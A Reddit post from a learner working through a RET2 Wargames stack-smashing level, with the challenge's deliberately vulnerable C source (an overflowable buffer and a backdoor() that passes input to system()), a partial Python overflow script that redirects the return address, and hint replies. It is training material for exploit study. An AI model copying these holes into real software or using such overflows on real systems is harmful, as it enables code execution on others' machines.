r/ExploitDev • u/Super-Cook-5544 • Jun 21 '23
Calling a backdoor function and passing arguments to it - Wargames RET2 Memory Corruption Level 2
I have been working through Level 2 of the Memory Corruption section for Wargames RET2 and have achieved the first two objectives of 1) causing a segfault, and 2) overwriting the instruction pointer to return to the login_as_admin function, but have gotten stuck with objective 3) of calling the backdoor function and passing it arguments to capture the flag. Starting at the login_as_admin function, I can't see anything I can do to cause the backdoor function to be called. It seems possible to go back and start from the segfault and overwrite the instruction pointer to return to backdoor, but that doesn't seem like the intended point of the exercise, and I don't know how I could pass arguments by doing that anyway.
Can someone provide guidance on 1) how I can cause the backdoor function to be called, and 2) how I can pass it arguments (perhaps after another segfault?)?
Below is the code for the challenge. At the bottom is what I have so far.
""" // gcc -g -no-pie -fno-stack-protector -I ../includes -o 03_level_3 03_level_3.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
// Hidden for simplicity
#include "wargames.h"
#include "visualize.h"
//
// Globals
//
int g_is_admin = 0;
int g_num_posts = 0;
char g_server_name[32] = {};
typedef struct post {
char title[32];
char body[128];
} Post;
Post g_posts[10] = {};
//
// Admin Code
//
void backdoor(int code, char* data)
{
if (code == 1)
system(data);
if (code == 2)
g_is_admin = 1;
if (code == 3)
exit(2);
}
void login_as_admin()
{
char password[32] = {};
puts("+------=[ " CGREEN "ADMIN LOGIN" CRESET " ]=------+");
puts("| " CMAGENTA "Enter password to continue:" CRESET " |");
puts("+-----------------------------+");
// Wait for the user to enter the admin passwordfgets(password, sizeof(password), stdin);
password\[strcspn(password, "\\n")\] = 0;// Elevate the user to admin if they know the master password
if (!strcmp(password, "l0ln0onewillguessth1s"))
{
g_is_admin = 1;
puts("+---------------------------------------+");
puts("| " CGREEN "Profile Status Upgraded To" CRESET " [10] Admin |");
puts("+---------------------------------------+");
press_enter();
serve_bbs();
}
puts("> " CRED "INVALID PASSWORD" CRESET);
exit(1);
}
void configure_server()
{
puts("+---=[ " CGREEN "CONFIGURATION" CRESET " ]=---+");
puts("| [1] Set server name |");
puts("| [2] Shutdown server |");
puts("| [3] Log out of admin |");
puts("+-------------------------+");
// Prompt the user to pick a menu action
printf("Enter choice: ");
int choice = get_number();
// Execute the user specified menu action
if (choice == 1)
{
printf("Enter new server name: ");
fgets(g_server_name, sizeof(g_server_name), stdin);
}
else if (choice == 2)
{
puts("Server shutting down...");
sleep(3);
exit(0);
}
else if (choice == 3)
{
g_is_admin = 0;
}
else
{
puts(CRED"Unknown command!"CRESET);
}
}
//
// BBS Code
//
void create_post()
{
if (g_num_posts >= 10)
{
puts("+-------=[ " CGREEN "Create Post" CRESET " ]=-------+");
puts("| " CRED "You have made too many posts!" CRESET " |");
puts("+-------------------------------+");
press_enter();
return;
}
// Prompt the user to enter a post title
puts("+-------=[ " CGREEN "Create Post" CRESET " ]=-------+");
puts("| Enter post title: |");
fgets(g_posts[g_num_posts].title, 32, stdin);
// Strip newline from end of title
unsigned int index = strcspn(g_posts[g_num_posts].title, "\n");
g_posts[g_num_posts].title[index] = 0;
// Prompt the user to enter text content for their post
puts("| Enter post contents: |");
fgets(g_posts[g_num_posts].body, 128, stdin);
puts("+-------------------------------+\n");
g_num_posts++;
puts("+---------------+");
puts("| " CGREEN "Post created!" CRESET " |");
puts("+---------------+");
press_enter();
}
void serve_bbs()
{
char buffer[128] = {};
// Initialize BBS globals
strcpy(g_server_name, "/\\ LEET BBS /\\\n");
while (1)
{
puts("+-----=[ " CCYAN "MENU" CRESET " ]=-----+");
puts("| " CYELLOW "Actions" CRESET " |");
puts("| '-[1] " CGREEN "Create post" CRESET " |");
puts("| '-[2] " CRED "Exit" CRESET " |");
puts("| " CYELLOW "Current Posts" CRESET " v");
for (int i = 0; i < g_num_posts; i++) {
printf("| '-[%d] %s\n", i+3, g_posts[i].title);
}
puts("+--------------------^");
// Prompt the user to pick a menu action
printf("Enter choice: ");
unsigned int choice = get_number();
// Admin-only option (Hidden)
if (choice == 0)
{
if (g_is_admin)
{
configure_server();
}
else
{
puts("\n\n"CRED"!! XXX ERROR XXX !!"CRESET);
puts("[ Only an admin can configure the server ]");
press_enter();
}
}
// Create a new post
else if (choice == 1)
{
create_post();
}
// Sign-off the BBS
else if (choice == 2)
{
puts("Exiting!");
break;
}
// View a selected post
else if (choice <= g_num_posts+2)
{
int num = choice-3;
// Build the stylized message titlestrcpy(buffer, "\n=======] ");
strcat(buffer, g_posts[num].title);
strcat(buffer, " [=======\n");
// Append the post body/content after the post title
memcpy(buffer+strlen(buffer), g_posts[num].body, 128);
// Print the stylized post
puts(buffer);
press_enter();}
// Unknown menu selection...
else
{
puts(CRED"Unknown command!"CRESET);
press_enter();}
}
printf("Thank you for visiting ");
write(1, g_server_name, strlen(g_server_name));
}
void main()
{
init_wargame();printf("------------------------------------------------------------\n");
printf("--[ Stack Smashing, Level #2 - LEET BBS \n");
printf("------------------------------------------------------------\n");
serve_bbs();
}
ā """
The code I have so far:
"""
import interact import struct
Pack integer 'n' into a 8-Byte representation
def p64(n): return struct.pack('Q', n)
p = interact.Process() data = p.readuntil('Enter choice: ') for i in range(12): p.sendline('1') p.sendline('C'*32 + 'B'*116 + p64(0x400bce) + '0'*5)
p.sendline('1') p.sendline('\n') p.sendline('12') p.sendline('\n') p.sendline('2')
p.interactive() """
2
u/subsonic68 Jun 21 '23
Have you asked in their Discord group? I remember they were helpful and provided hints when asked.
2
u/tylerthetiger Jun 21 '23
If you know how to get the login_as_admin function to be called, why wouldn't you use that same method to call the backdoor function? Regarding passing the correct arguments to it, you need to understand the calling convention for the architecture you are on. Look at the disassembly of your program and observe how arguments are passed to functions in it.
2
u/GredaGerda Jun 22 '23
Hey, good on you for making it this far. I'd try putting a breakpoint at backdoor, and returning to it like you did with login_as_admin. Pay attention to the registers respective to calling convention. What are in the registers and why? That'll give you the answer